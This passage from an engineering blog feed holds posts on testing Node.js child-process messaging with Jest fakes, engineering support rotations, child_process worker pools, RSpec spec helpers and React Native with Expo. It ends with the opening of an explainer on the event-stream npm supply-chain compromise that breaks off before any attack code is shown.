const EventEmitter = require("events");

class FakeChildProcess extends EventEmitter {
  constructor() {
    super();
    this.receivedMessages = [];
    this.sentMessages = [];
    this.on("message", message => {
      this.sentMessages.push(message);
    });
  }

  send(message, handle) {
    this.receivedMessages.push({ message, handle });
  }

  // Call to pretend a message was received from the child, in the
  // parent's process
  receive(message) {
    this.emit("message", message);
  }
}

module.exports = FakeChildProcess;

Finally, write the tests

Between seams and fake objects, you have all the parts you need to test parent process and child process communication. Let's think about how you could use these parts to hook everything together.

The parent process calls child_process.fork() to start up a child process. You would mock fork() to return a FakeChildProcess instead:

beforeEach(() => {
  jest.resetAllMocks();

  fork.mockImplementation(file => {
    childProcess = new FakeChildProcess();
    return childProcess;
  });
});

Remember, we changed the child process to do most of its work in a handleMessage method, which takes a parent process as an argument. For the child to send responses back to the parent, you'll need a fake parent process. It looks a lot like the fake child from earlier:

// FakeParentProcess.js
const EventEmitter = require("events");

class FakeParentProcess extends EventEmitter {
  constructor() {
    super();
    this.messages = [];
    this.connectedProcess = null;
  }

  connect(process) {
    this.connectedProcess = process;
  }

  send(message) {
    this.messages.push(message);
    if (this.connectedProcess) {
      this.connectedProcess.receive(message);
    }
  }

  receive(message, socket) {
    this.emit("message", message, socket);
  }
}

module.exports = FakeParentProcess;

When send is called on the FakeChildProcess, it will call receive on the FakeParentProcess, which will trigger its message event and vice versa. That's how these fakes communicate with each other.

When setting up the fake processes, this fake parent process is passed into handleMessages in your tests, so all the child events are hooked up correctly:

parentProcess = new FakeParentProcess();
childProcess = new FakeChildProcess();
parentProcess.connect(childProcess);
handleMessages(parentProcess);

The FakeChildProcess also needs to connect to a FakeParentProcess and relay messages to it:

// FakeChildProcess.js
const EventEmitter = require("events");

class FakeChildProcess extends EventEmitter {
  constructor() {
    super();
    this.receivedMessages = [];
    this.sentMessages = [];
    this.connectedProcess = null;
    this.on("message", message => {
      this.sentMessages.push(message);
    });
  }

  connect(process) {
    this.connectedProcess = process;
  }

  send(message, handle) {
    this.receivedMessages.push({ message, handle });
    if (this.connectedProcess) {
      this.connectedProcess.receive(message, handle);
    }
  }

  receive(message) {
    this.emit("message", message);
  }
}

module.exports = FakeChildProcess;

Finally, hook the FakeParentProcess and FakeChildProcess together, so the parent and child code can communicate both in both directions:

describe("Calculator", () => {
  let childProcess;
  let parentProcess;

  beforeEach(() => {
    jest.resetAllMocks();

    fork.mockImplementation(file => {
      parentProcess = new FakeParentProcess();
      childProcess = new FakeChildProcess();
      parentProcess.connect(childProcess);
      childProcess.connect(parentProcess);
      handleMessages(parentProcess);
      return childProcess;
    });
  });
});

And now the regular code in the child process's handleMessages function, the code you barely had to change, can run within your test process. And because it's all just methods and events, you can monitor the messages being sent, test process crashes and disconnects, and all kinds of complicated edge cases.

What would an actual test look like?

it("sends a square message", () => {
  const calculator = new Calculator();
  calculator.square(5);
  expect(calculator.lastResult).toBe(25);
});

Easy, right? When square is called on calculator, it calls send. In the real world, that will send a message to the child process using Node's API, and receive messages in the same way. In the test world, this is what happens instead:

calculator calls send on a FakeChildProcess.
That FakeChildProcess calls receive on a FakeParentProcess.
That FakeParentProcess emits a message event, which the child code listens to.
The child does the work and calls send on the FakeParentProcess with the result.
The FakeParentProcess calls receive on the FakeChildProcess.
The FakeChildProcess emits a message event, which the calculator listens to, and sets the result.

Most of your code is completely unaware that anything different is happening. That means your tests can look exactly like your code looks, while still testing everything from one end to the other.

When should you go this far?

As nice as this kind of end-to-end testing can be, it's still best to do as much testing as you can in isolation. Test just the parent code, test just the child code. Test around the communication, not through it. These tests will be faster and less complicated to set up.

But when you're sending strings or arbitrary keys as messages, when you have a protocol that could break, or you just want to sprinkle some end-to-end tests to check that everything keeps working, these kind of fakes can be so helpful. Things like process crashes that previously seemed untestable will now be completely easy to test. And even those most complicated tests will look totally natural.

Put your engineers on support

Zach Schneider — Thu, 25 Jul 2019 00:00:00 GMT

Let's talk about your bug backlog. You know you have it -- somewhere in your issue tracker, a stack of dozens or maybe even hundreds of bugs awaiting attention. Sometimes new engineers will pull a few off the stack while they're getting up to speed; one or two might get slotted into a release if enough customers write in about it. But ultimately, it's grown into a beast and it's difficult to know where to even start with it. Which bugs are the most important? Which are actively blocking your customers, and which are just minor UI annoyances? How many of them have already been fixed in some other change and you haven't even realized it? The task of simply reviewing the bug backlog is daunting, never mind actually shrinking it.

At Aha!, we pride ourselves on ultra-responsive support. Our customer success team maintains a global average of under two hours for the first response to a ticket. Ultra-responsive support also includes technical resources; it doesn't do much good if you respond to your customer quickly but their issue continues to languish for weeks or months. We know that our product is a central part of our customers' daily workflow. Unfixed bugs can disrupt our customers' productivity, and even worse, undermine their overall trust in the stability of our service.

To combat both of these issues at once, our engineering team maintains an engineering support rotation. Each week, a handful of engineers are assigned to do nothing but monitor the engineering escalations queue and handle the tickets that come in. Some of these tickets are informational in nature, like a technical question about our API. Others are subtle behaviors that require a thoughtful explanation but are ultimately working as intended. But as you might expect, a number of the tickets that we handle each week are true bugs that exist out in the wild. Our engineering support rotation has been crucial to ensuring that we responsively address customer issues and provide users with the stable, quality product that they expect. Here are a few key reasons why.

Staying responsive to customers

When a customer writes in about a bug, it represents both a failure and an opportunity. Obviously, if we had it our way, our application would be totally free of bugs and nobody would ever need to write us about a problem. But given that bugs are an inevitability for any product, the most important issue becomes how you handle them.

If bug reports disappear into a backlog where they are unlikely to be fixed for weeks or even months, it creates an ongoing tax on your customers' mental model about your product. In the short-term, they are likely to be blocked by whatever task they are unable to accomplish, which diminishes the value they receive. But, perhaps even worse, in the long term it undermines their overall trust in the application.

People build deep and lasting associations based on repeated experiences. In the same way that repeating a mundane task like exercise can create a positive habit, repeatedly experiencing bugs that never seem to get fixed creates an overarching impression that the product you're using is intrinsically unreliable. Every subsequent issue you encounter only serves to reinforce that mental model. And while you may continue to use the service (and work around the warts), you certainly won't enjoy using the service. You won't evangelize to your colleagues, and ultimately you won't want to continue spending your budget on something that is unable to reliably deliver the functionality you need.

Conversely, the moment when you receive a bug report is a golden opportunity to create a mental association of a more positive variety. If you turn around an engineering escalation and deliver a fix within a few hours or days, you train your customers to think that they can trust your product. And even more importantly, you train your customers to think that they can trust you. They know that if they do have an issue, they can expect you to take it seriously and quickly devote resources to unblocking their work. And they come to trust your engineering processes as a whole. They may not even realize it, but when you ship an exciting new feature, they will be predisposed to think, "This will be awesome, and if I have a problem, then they'll make it even better." If your current functionality is riddled with unsolved bugs, they are more likely to think, "Oh great, another half-baked addition to an already frustrating product."

Fixing the most urgent bugs first

One of the most difficult challenges of the bug backlog is knowing exactly where to start with it. If you knew how many customers each bug was affecting and the severity of the effect, it would be much easier to understand what to work on and when. But with a backlog that's dozens or hundreds of items deep, it can be difficult to know what is even still reproducible, much less how many customers are running into it.

What if we start at the other end? At the moment when the bug is reported, you understand its severity because the customer is directly telling you, "I am trying to create a report for a big presentation tomorrow, and I am running into this error." We have also found it wise to assume that if one customer is reporting an issue, there are probably dozens more who encountered the issue but silently endured or worked around it. Your error tracker or logs can also add key context. It's easy to assess the ongoing impact by searching data from the past few days, but it’s much harder to find that information for a bug logged months ago. And finally, you never have to question whether the bug still exists or whether you're on a wild goose chase. You can know with certainty that you are expending your engineering bug-fixing effort in the most efficient way possible: directly addressing the contemporaneous issues that were so disruptive that the customer bothered to write in and tell you about it.

Raising team self-awareness

As engineers, it can be difficult to get a complete picture about how customers actually experience the features that we write. You probably hear about some interesting use cases here and there, and you may have instrumentation to tell you how frequently the feature is being used. However, you may have very little insight into how well it works or how satisfied the customer feels after using the new functionality.

Keeping engineers on the front lines of technical support closes the feedback loop and helps to paint a more complete picture. If you ship a feature and a stream of bugs start flowing into support, you're likely to hear about it, even if you aren't directly on the rotation that week. It may open new avenues of thinking about how to properly test your features or make you consider use cases that had never previously crossed your mind. It will certainly encourage you to pay close attention to quality, lest you subject your teammates to a barrage of issues that you created. And it can even improve how you think about what you're building in the first place. You begin to sense trends over time -- like interfaces or patterns that seem to frequently create confusion or be prone to errors. On the whole, you stay much closer to your customers and the ways in which they are actually using your product.

Finally, support is a growth opportunity for engineers. Through direct communication with customers, engineers gain experience in tactfully wording responses and navigating difficult conversations. The lessons learned are broadly cross-applicable within engineering organizations. For example, learning how to say, "No, but here is an alternative that I think addresses your need" is invaluable when interacting with the product team or other stakeholders. Engineers also get to share in the joy from a customer when a bug is promptly fixed, which helps them to understand the real impact that the product has on its users. Nothing is more rewarding than getting a request from a customer, shipping it to production a couple of hours later, and making someone's day.

Implementation

So you're sold on the concept -- how do you actually implement an engineering support rotation? At Aha!, we have found a few key factors that are crucial to the success of our process.

Everyone participates. Every member of the engineering team at Aha! takes a shift on the support rotation -- including the CTO and the director of engineering. Responsively fixing customer issues is not grunt work to be shunted to junior developers; it is a critical component of our team's responsibilities. By having everyone pitch in, we ensure that support is simply part of the engineering culture at Aha!, rather than something to be avoided or pushed off to less-tenured colleagues.
Support trumps everything else. When you're on support, you're on support -- your other feature work is completely on hold for the week. We proactively work with our product team to let them know which engineers will be on support in upcoming weeks so they can plan accordingly. We have found that it is simply not possible to balance support with ongoing feature development. You inevitably end up focusing on one to the exclusion of the other, while feeling guilty about the things you're not getting to. By focusing exclusively on support, we empower our engineers to clear their heads and focus deeply on each customer issue they attend to.
Training is key. Support can be daunting at first, especially for new engineers. Many engineers have never even written an email to a customer, much less had to interact with a customer who is less than thrilled about the issue they're encountering. We ensure that new engineers "ride shotgun" with a more experienced engineer for at least their first week of support, learning how to write to customers and where to start when debugging different kinds of issues. We also work closely with our customer success team. They are experts in customer communication and are always happy to lend a hand in crafting a response or explaining an issue.

See for yourself

Our weekly support rotation is one of my favorite components of the Aha! engineering culture. It helps us stay ultra-responsive, assisting the Customer Success team to ensure that customers receive the prompt and helpful support they desire. It builds customer trust in the quality of our application and in our commitment to quickly addressing issues that arise. It helps us prioritize and ensure that urgent bugs are promptly fixed, rather than disappearing into the backlog for weeks or months. And it closes the feedback loop, helping us to understand how features are being used and improve the way we write code in the first place. If you feel buried under a daunting backlog of bugs, I highly recommend that you assign some engineers to the front lines of support and see where it takes you.

Improve reliability with a Node.js library

Justin Weiss — Thu, 13 Jun 2019 00:00:00 GMT

A Node.js process runs a single thread. Single-threadedness isn't a problem if you run short pieces of code and let Node do other work in between. It can even be a huge benefit! One process can handle a lot of "simultaneous" work and you don't have to worry about thread safety. Most Node libraries take enough breaks that things seem asynchronous, when it's really just a bunch of tiny synchronous tasks happening one after another.

But one thread for one process has its limitations.

For example, if you have code that runs without giving up control, that code will block other work from happening. It's not always obvious if code will run without taking a break, so this can be a real problem.

Second, if your code crashes, you will lose the entire process. That includes anything that may have been running "asynchronously." When everything is running in a single process, that could be a lot of work to lose.

It would be better to send long-running or high-risk work off to another, less important process. That process could do the work and let your process know when the work is done. It turns out that there's a simple, JavaScript-like way to do just that. And you don't even need to take on a dependency to do it.

Farm that work out!

Just like most other server-side languages, you can start new processes from Node. With Node, you manage these processes with child_process: A simple, event-driven API to communicate between your process and the child you created.

You start a child process with fork:

// parent.js
const { fork } = require("child_process");

const child = fork("./child.js");

// child.js
process.on("message", message => {
  // ...
});

When parent.js runs, it will start a new Node process. That new process will run child.js, and the parent will get a ChildProcess object back. child.js will happily sit around waiting for messages from its parent.

The parent sends a message like this:

// parent.js
const { fork } = require("child_process");

const child = fork("./child.js");

// Handle replies from the child process
child.on("message", message => {
  console.log(`Got message from child: ${message}`);
});

child.send("Hello, child!");

And from the child, you can send messages back to the parent with process.send:

// child.js
process.on("message", (message) => {
  console.log(`Got message from parent: ${message}`)
  process.send("Hello, yourself!")
})

$ node parent.js
Got message from parent: Hello, child!
Got message from child: Hello, yourself!
^C
$

You can stop the child with kill:

// parent.js
const { fork } = require("child_process");

const child = fork("./child.js");
child.on("message", message => {
  console.log(`Got message from child: ${message}`);
  child.kill();
});

child.send("Hello, child!");

And if the child exits or crashes, the parent can be notified:

child.on("exit", () => {
  console.log("The child went away.");
});

$ node parent.js
Got message from parent: Hello, child!
Got message from child: Hello, yourself!
The child went away.
$

With just these pieces, your parent process can send requests to a child process and receive responses. You can treat the child like a service. For example, you could perform a long, synchronous calculation:

// parent.js
const { fork } = require("child_process");

const child = fork("./child.js");
child.on("message", message => {
  console.log(`Child produced result: ${message}`);
});

child.send({ command: "calculate", args: [] });

// child.js
process.on("message", ({ command, args }) => {
  switch (command) {
  case "calculate":
    console.log(`Calculating...`);
    const result = ... // do a looooooooong calculation
    process.send(result);
    break;
  default:
    console.error(`Child received an unknown message: ${command}`);
    break;
  }

  process.exit();
});

The parent starts a child process and sends the work to the child. The child does the work synchronously and pings the parent back when it's done:

$ node parent.js
Calculating...
Child produced result: 4
$

With a few lines of code, a naturally synchronous operation becomes an asynchronous one from the perspective of the parent. And it still feels natural and JavaScript-y.

Everyone into the worker pool

If you hand off a lot of small jobs to a child process, you'll have another problem. The amount of time it takes to do the work will be completely dominated by the amount of time it takes to fork the child. It might take 300ms to start a worker in order to do a 50ms calculation.

It would be nice if you could pay that startup cost once. Once a process finishes a job, you can reuse it and send it another, instead of starting a new one.

You can do this with two arrays -- one to keep track of available workers and another to keep track of incoming jobs:

// scheduler.js
const { fork } = require("child_process");

const readyWorkers = [];
const workQueue = [];

// Match up the next queued job with the next free worker, if possible.
function work() {
  console.log(
    `work left: ${workQueue.length}, workers ready: ${readyWorkers.length}`
  );

  if (readyWorkers.length === 0) return;
  if (workQueue.length === 0) return;

  const worker = readyWorkers.shift();
  const job = workQueue.shift();

  const { command, args, callback } = job;

  worker.once("message", response => {
    readyWorkers.push(worker);
    callback(response);

    // A worker became ready, so try to match it up with work
    work();
  });

  worker.send({ command, args });
}

function scheduleJob(command, args, callback) {
  workQueue.push({ command, args, callback });

  // We have new work, so try to find a worker for it
  work();
}

// Start 2 workers
for (let i = 0; i < 2; i++) {
  console.log("Forking a worker...");
  readyWorkers.push(fork("./worker.js"));
}

// Schedule 5 jobs
for (let i = 0; i < 5; i++) {
  scheduleJob("square", [i], result => {
    console.log(`${i}^2 = ${result}`);
  });
}

// worker.js
process.on("message", ({ command, args }) => {
  switch (command) {
  case "square":
    process.send(args[0] ** 2);
    break;
  default:
    console.error(`Child received an unknown message: ${command}`);
    break;
  }
});

$ node scheduler.js
Forking a worker...
Forking a worker...
work left: 1, workers ready: 2
work left: 1, workers ready: 1
work left: 1, workers ready: 0
work left: 2, workers ready: 0
work left: 3, workers ready: 0
1^2 = 1
work left: 3, workers ready: 1
2^2 = 4
work left: 2, workers ready: 1
3^2 = 9
work left: 1, workers ready: 1
4^2 = 16
work left: 0, workers ready: 1
0^2 = 0
work left: 0, workers ready: 2

And now you have the building blocks for an in-process queueing system! There's a little bit more to do -- handling errors, restarting crashed child processes, killing stuck workers, and so on -- but this is a good start.

Connecting directly to the child

send, the function you use to send messages to a child process, has a second parameter: sendHandle. What is sendHandle for?

Let's say you have a browser, and it makes a WebSocket connection to your Node process by sending an upgrade request:

// parent.js
server.on('upgrade', function(request, socket, head) {
  // ...
});

The upgrade handler is given a socket parameter. You can pass that socket to your child process, which finishes the WebSocket handshake:

// parent.js
server.on("upgrade", function(request, socket, head) {
  child.send(
    {
      type: "connection",
      request: { request.headers, request.method, request.url },
      head
    },
    socket
  );
});

// child.js
const WebSocket = require("ws");

wss = new WebSocket.Server({ noServer: true });

process.on(({ request, head }, sendHandle) => {
  wss.handleUpgrade(request, sendHandle, head, ws => {
    // ... add WebSocket listeners...
  });
});

Once that connection is made, any data sent over that socket will go to the child process instead of the parent process. This means you won't have to forward any other messages from the parent to the child process, and the child process can handle the rest of the communication on its own.

Theoretically, you can also do this with web requests. But I haven't found it as useful. You're only handed a socket during the very beginning of the web connection. That's too early to route it to the right child based on path or parameters.

What are the alternatives?

If you've already gone full microservice, you'd probably split this kind of code into completely separate apps. But there's something nice about only having a single app to think about, having a JavaScript-ish API to send work and handle results, and not having to worry as much about deployment and inter-app communication.

child_process isn't the only way to pass messages between a cluster of Node processes. The built-in cluster API will create pools of workers that all share a single HTTP server and distribute connections. PM2 is a larger and more advanced library with a lot of extra process management features.

But if you just have a little bit of synchronous or dangerous work, and you want to keep your main Node server up and responsive, try child_process. It's easy to start with and easy to grow into more.

Use `with` and `describe_instance_method`

Alex Bartlow — Mon, 29 Apr 2019 00:00:00 GMT

Want specs that look like this? Read on.

describe ServiceObjectUnderTest do
  describe_instance_method :a_long_and_descriptive_method do
    method_parameters(:subscription_class, :value)

    with subscription_class: :enterprise do
      with(value: 10).it { is_expected.to eq(0) }
      with(value: 8).it { is_expected.to eq(8) }
    end

    with subscription_class: :enterprise_plus do
      with(value: 11).it { is_expected.to eq(11) }
      with(value: 2).it { is_expected.to eq(2) }
    end
  end
end

Like most of America, lately I've been trying Marie Kondo's method of tidying up around my house. Around the Aha! codebase, I've likewise been trying to get my specs to spark joy. This week, I was working on some code that looked something like this:

class ServiceObjectUnderTest
  # Obviously oversimplified and contrived logic. Not the point of this exercise
  def a_long_and_descriptive_method(subscription_class, value)
    if subscription_class == :enterprise_plus
      value
    else
      value % 10
    end
  end
end

I was hacking some specs together for it, and came up with something like this:

require './service'

describe ServiceObjectUnderTest do
  describe '.a_long_and_descriptive_method' do
    it "returns modulo when not E+" do
      expect(
        described_class.new.a_long_and_descriptive_method(
          :enterprise,
          10
        )
      ).to eq(0)

      expect(
        described_class.new.a_long_and_descriptive_method(
          :enterprise,
          8
        )
      ).to eq(8)
    end

    it "returns the value when E+" do
      expect(
        described_class.new.a_long_and_descriptive_method(
          :enterprise_plus,
          11
        )
      ).to eq(11)

      expect(
        described_class.new.a_long_and_descriptive_method(
          :enterprise_plus,
          2
        )
      ).to eq(2)
    end
  end
end

I don’t know about you, but I get pretty grumpy when my tests are 8 times longer than the method I’m trying to specify. Not exactly joyful.

Don't repeat `described_class` everywhere

The first step here is to extract out the incredibly verbose method call:

require './service'

describe ServiceObjectUnderTest do
  describe '.a_long_and_descriptive_method' do
    subject(:described_method) do
      described_class.new.method(:a_long_and_descriptive_method)
    end

    it "returns modulo when not E+" do
      expect(
        described_method.call(:enterprise, 10)
      ).to eq(0)

      expect(
        described_method.call(:enterprise, 8)
      ).to eq(8)
    end

    it "returns the value when E+" do
      expect(
        described_method.call(:enterprise_plus, 11)
      ).to eq(11)

      expect(
        described_method.call(:enterprise_plus, 2)
      ).to eq(2)
    end
  end
end

This is a little better. I like the trick of using .method() to grab the method under test. Even just this small enhancement gives me a lot less typing.

But there’s still some repetition here: I have to repeat the method name a couple of times, and I have to keep typing out described_method. Since I’m using an explicit subject, I also don’t get to write short, punchy, self-documenting expectations. Additionally, I don’t get any hint from the spec what those parameters actually are. It would be nice to have that be self-documenting as well.

Writing our own descriptors

Let’s go one level deeper, by adding some methods to rspec’s example group.

require './service'

module RspecExtensions
  def describe_instance_method(method_name, &block)
    describe "##{method_name}" do
      let(:described_method) do
        described_class.new.method(method_name)
      end

      instance_eval(&block)
    end
  end
end

RSpec::Core::ExampleGroup.send(:extend, RspecExtensions)

describe ServiceObjectUnderTest do
  describe_instance_method :a_long_and_descriptive_method do
    subject { described_method.call(subscription_class, value) }

    context do
      let(:subscription_class) { :enterprise }

      context do
        let(:value) { 10 }
        it { is_expected.to eq(0) }
      end

      context do
        let(:value) { 8 }
        it { is_expected.to eq(8) }
      end
    end

    context do
      let(:subscription_class) { :enterprise_plus }
      context do
        let(:value) { 11 }
        it { is_expected.to eq(11) }
      end

      context do
        let(:value) { 2 }
        it { is_expected.to eq(2) }
      end
    end
  end
end

We're inserting our own macro here to avoid repeating the name of the method (in case we want to change it in the future). It also gives us a subject block that immediately tells us the method signature. While it's not obvious with this example, my experience is that using context and let also makes it really, really easy to add new test cases. If I think of some new edge cases that I want to test, I just have to drop a new expectation into the right section of the file, with all the other variables that are already put together.

A better way to add context

Our code is still pretty verbose, since we have to define a new context and a new let for each parameter value we want to test. Let’s write a macro for that. We'll add this to our RspecExtensions module:

  def with(lets, &block)
    context_description = lets.map{|k, v| "#{k}=#{v}"}.join(',')
    context("with #{context_description}") do
      lets.each do |lk, lv|
        let(lk) { lv }
      end

      instance_eval(&block)
    end
  end
end

Now, our specs look like this:

describe ServiceObjectUnderTest do
  describe_instance_method :a_long_and_descriptive_method do
    subject { described_method.call(subscription_class, value) }

    with subscription_class: :enterprise do
      with(value: 10) { it { is_expected.to eq(0) } }
      with(value: 8) { it { is_expected.to eq(8) } }
    end

    with subscription_class: :enterprise_plus do
      with(value: 11) { it { is_expected.to eq(11) } }
      with(value: 2) { it { is_expected.to eq(2) } }
    end
  end
end

Now we’re getting somewhere. Our tests are short and expressive, and basically all the boilerplate is gone.

Everything is better with curry

Having the subject there is nice, but now I'm thinking it could be better. What if instead of telling rspec that my subject is the invocation of my method with certain parameters, I could just tell it what those parameters were?

  def method_parameters(*parameters)
    let :method_called_with_parameters do
      parameters.inject(described_method.curry) do |curry, parameter|
        curry.call(send(parameter))
      end
    end

    subject { method_called_with_parameters }
  end

The curry method doesn't show up outside of code-golf often but it's pretty cool. It allows you to do partial application in ruby. As a result - I don't have to declare my subject explicitly anymore. I just have to call method_parameters(:subscription_class, :value), and everything just works.

The way I've written it here, there's also let(:method_called_with_parameters). This is so I can do something like this, if I'm testing for side effects:

expect { method_called_with_parameters }.to change(Feature. :count).by(1)

I'm also not crazy about that weird { it { condition } } block ; it looks like a busted handlebars template. Honestly, if I wasn’t writing a blog post about it, I'd leave it as it is. But since we’re here, let's refactor our with method. I want to be able to give it a block (in which case it should do exactly what it does now), or call .it directly on it to give it a one-line expectation. The only real way to do that is to use a proxy object:

  class WithProxy
    def initialize(example_group, lets)
      @example_group = example_group
      @lets = lets
    end

    def context_description
      @lets.map{ |k, v| "#{k}=#{v}"}.join(',')
    end

    def call(&block)
      lets = @lets
      @example_group.context("with #{context_description}") do
        lets.each do |lk, lv|
          let(lk) { lv }
        end

        instance_eval(&block)
      end
    end

    def it(&block)
      call { it(&block) }
    end
  end

  def with(lets, &block)
    proxy = WithProxy.new(self, lets)

    if block
      proxy.call(&block)
    else
      proxy
    end
  end

The big pay-off

With that little bit of weirdness out of the way, check out our end result:

require './service'
require './final_rspec_with_extensions'

describe ServiceObjectUnderTest do
  describe_instance_method :a_long_and_descriptive_method do
    method_parameters(:subscription_class, :value)

    with subscription_class: :enterprise do
      with(value: 10).it { is_expected.to eq(0) }
      with(value: 8).it { is_expected.to eq(8) }
    end

    with subscription_class: :enterprise_plus do
      with(value: 11).it { is_expected.to eq(11) }
      with(value: 2).it { is_expected.to eq(2) }
    end
  end
end

Now THIS sparks some joy. I don’t have to include anonymous contexts, and I can use with in two different, powerful ways. I can use it as a combination context and let to introduce multiple examples. I can also immediately call .it to get a one-line expectation with an implicit subject.

I get a beautiful, self-evident description of what the method should do in a variety of circumstances. I'll admit, I've never really been a TDD guy before - but something like this makes TDD a snap. Writing these specifications is quick, clean, and painless.

This is the output I get from running the above example, which is also very readable.

$ rspec --format=documentation 05_one_line_with_proxy.rb

ServiceObjectUnderTest
  #a_long_and_descriptive_method
    with subscription_class=enterprise
      with value=10
        should eq 0
      with value=8
        should eq 8
    with subscription_class=enterprise_plus
      with value=11
        should eq 11
      with value=2
        should eq 2

Conclusion

Hacking together the improvements to the specs above didn't take that long, and now we have some powerful new tools for writing clean, joyful specs. They're faster to write, easier to read, and easier to add to in the future. Take some time to optimize your code for developer happiness, and you may just find a huge productivity boost as a result.

If you want to find the whole extension that I wrote for this post, you can get it over at my github.

Our Secret Sauce Is React Native

Zach Schneider — Wed, 17 Apr 2019 00:00:00 GMT

It's been an up-and-down kind of year for React Native. Last summer, Udacity and Airbnb announced that they were moving off of the platform; Discord is sticking with React Native but still publicized a number of issues they experienced, and their Android app does not use React Native at all. Facebook has recommitted to supporting the platform and published an open source roadmap, but many engineers remain skeptical of React Native's future.

Amidst the FUD, I think it's important to keep a balanced perspective. Every framework has its drawbacks, but React Native is still an enormous improvement upon any hybrid mobile framework that came before it. For us at Aha!, React Native was a godsend. We used it to build and release our mobile applications for both iOS and Android. We had an excellent experience using the framework and have no regrets about our technology choice. I'm writing this post particularly to document some of the benefits we found, and why React Native was a perfect fit for our use case.

Truly feels native

It's easy to overlook this, but React Native is the first framework that seems to come anywhere close to delivering on the promise of hybrid apps that actually feel native to each platform. React code is rendered to native UI components implemented with Objective-C and Java. This makes it easy to use device-specific design language and follow the Apple/Android interface guidelines while also delivering native-quality application performance. We found very few of the problems common among hybrid mobile frameworks -- interactions and animations are buttery smooth, and the app is snappy and just plain satisfying to use.

Two apps from one codebase

Again, React Native finally delivers a benefit that was promised but never fully realized by past hybrid frameworks. You can write your code once, in JavaScript, and seamlessly render it to multiple platforms. Only a small handful of components in our codebase are specific to one platform, and that's only in areas where we truly wanted a different experience with iOS- and Android-specific logic. For our other components, we found it simple to tailor details of the user interface for each platform using conditional styling -- like using different icons to match the common design language of both environments, or centering the navigation on iOS while left-aligning it on Android.

Leverage existing developer knowledge

Aha! is first and foremost a web application; we did not offer a mobile app for the first five years of the product's existence. As such, we didn't (and still don't) have any dedicated mobile engineers on our team. We did, however, have plenty of React experience, as we've used React for several years to build rich, client-side user experiences for our web application. React Native allowed us to seamlessly leverage that existing knowledge to build a mobile app that our entire team could quickly grok and contribute to as needed. The code patterns are very similar to React on the web -- we use redux with sagas for data storage and mutation, and jest/enzyme for testing. The only real differences are the parts that are truly specific to mobile, such as navigation and device-specific styling. This was a tremendous boon for us because it significantly lowered the barrier to entry. We were able to build and launch our applications without having to hire a mobile-specific engineering team.

Build and ship really, really fast

Along with React Native, we used Expo to streamline our development process even further. Expo smooths over a number of pain points in the mobile development process. It allows you to run your app on your device by starting up Expo on your computer and then opening the Expo client app. Let that sink in: we developed an entire production application for iOS without once opening Xcode! Expo also offers a build service which abstracts away the complexity of certificate management and other nuances of building a mobile app for the store. Finally, Expo provides over-the-air app updates out of the box. We are able to implement and push out changes to our JavaScript code without having to submit a full build to the app stores for each change, which is normally an excruciating process. This has been particularly helpful for quickly turning around bug fixes, which we can ship to our users in a matter of minutes rather than days.

Secret to success

Our secret sauce is React Native. The framework gave us an incredible amount of leverage to build and maintain mobile applications with knowledge that we already had from working with React on the web. React Native delivers on the promises that hybrid apps have made for years -- our mobile apps feel smooth and satisfying, and they are virtually indistinguishable from fully native apps. We were able to seamlessly build for both iOS and Android off of a single codebase, tailoring details of the user interface to match the design language and patterns of each platform. The tooling greatly boosted our productivity, allowing us to quickly iterate in development and ship out fixes in a matter of minutes. We have no regrets about our decision, and I encourage you to give React Native a deeper look if your use case sounds like ours.

event-stream vulnerability explained

Zach Schneider — Tue, 27 Nov 2018 00:00:00 GMT

If you work with JavaScript at all, you probably saw a ton of noise yesterday about a vulnerability in the event-stream npm package. Unfortunately, the actual forensic analysis of the issue is buried under 600+ comments on the GitHub issue, most of which are just people flaming about the state of npm, open source, etc. I thought that was a shame, because the vulnerability was actually exceptionally clever and technically interesting, and teaches some important lessons about maintaining security in JavaScript applications. So I decided to write an explainer detailing what happened, how the attack worked, and how the JavaScript community can better defend against similar attacks in the future.

Before I begin, I want to credit FallingSnow, maths22, and joepie91 for their excellent forensic analysis. They did all of the hard work of analyzing the vulnerability and working out what it did. I'll credit them again later when I cite their findings, but I think it's worthwhile to explicitly state upfront that I didn't work any of this out myself; I'm just summarizing what others have learned.

The background

event-stream is a very popular npm package which exposes a number of helpers for working with streams inside a node application. It currently receives over 1.9 million weekly downloads. However, it hasn't been in active development for a couple of years; its author, dominictarr, maintains a large number of projects and no longer had a personal use for event-stream so it fell to the wayside.

Sometime around early to mid September, a user with the handle right9ctrl (their GitHub account is now deleted) offered to take over maintenance duties; dominictarr agreed and gave right9ctrl access on GitHub and npm. The commit log of their contributions looks innocuous on its surface:

On September 9, right9ctrl added a dependency called flatmap-stream in order to support a flatmap function in event-stream (not at all out-of-place as event-stream already exposes similar utilities like a regular map). Then, on September 16, right9ctrl removed the flatmap-stream dependency and directly implemented the flatmap function within event-stream. Again, nothing to really raise concern here: it's certainly not uncommon to add a new dependency and then decide a few days later that it would be better to implement yourself.

The attack

The flatmap-stream library also appears innocuous on its surface -- it does, in fact, implement a flat map for streams (though it should raise some eyebrows if anyone were looking at it -- 1 contributor, no downloads on npm prior to this event).

However, the version published to npm snuck some additional code into the minified file, which you would be entirely forgiven for missing even if you knew it was there:

